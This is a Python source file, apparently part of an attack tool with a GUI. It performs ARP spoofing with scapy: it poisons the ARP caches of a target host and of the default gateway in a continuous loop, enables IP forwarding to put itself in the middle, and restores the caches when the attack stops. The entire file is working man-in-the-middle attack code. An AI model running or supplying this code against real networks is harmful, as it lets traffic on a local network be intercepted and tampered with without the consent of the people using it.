import time
import scapy.all as scapy
import subprocess
from config.constants import DEFAULT_GATEWAY

def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]

    return answered_list[0][1].hwsrc


def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet, verbose=False)

def restore(destination_ip, source_ip):
    destination_mac=get_mac(destination_ip)
    source_mac=get_mac(source_ip)
    packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
    scapy.send(packet, count=4, verbose=False)

def main (target_ip):
    subprocess.run('sysctl -w net.ipv4.ip_forward=1', shell=True) #enable port forwarding
    router_ip=DEFAULT_GATEWAY
    try:
        sent_packets_count = 0
        while True:
            spoof(target_ip, router_ip)
            spoof(router_ip, target_ip)
            sent_packets_count += 2
            print("\r[+] Packets sent: " + str(sent_packets_count), end = "")
            time.sleep(2)
    except BaseException: #Bind to 'stop attack' button when connecting with gui
        restore(target_ip, router_ip)
        restore(router_ip, target_ip)
        subprocess.run('sysctl -w net.ipv4.ip_forward=0', shell=True) #disable port forwarding

